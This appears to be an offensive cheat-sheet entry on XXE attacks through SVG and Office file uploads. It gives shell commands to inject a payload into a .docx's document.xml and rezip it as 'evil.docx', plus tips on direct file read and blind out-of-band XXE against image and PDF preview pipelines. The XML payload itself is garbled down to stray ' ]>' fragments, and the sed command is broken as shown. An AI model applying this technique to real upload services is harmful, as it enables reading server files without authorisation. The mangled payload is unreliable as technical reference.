XXE through SVG and Office file uploads

Avatar upload, thumbnail generation, and document conversion all parse XML. SVG is the easiest carrier because it is often accepted as an image.

 ]>

For Office files, unzip, inject into a part, and rezip.

unzip doc.docx -d d && sed -i '1a ]>' d/word/document.xml
cd d && zip -r ../evil.docx . && cd ..

Pro note: if the rendered image is returned, you get direct file read inside the SVG text node. If not, treat it as blind XXE and move to OOB parameter entities. Test both the image pipeline and any server-side PDF or preview generator, which frequently use a different, older XML library.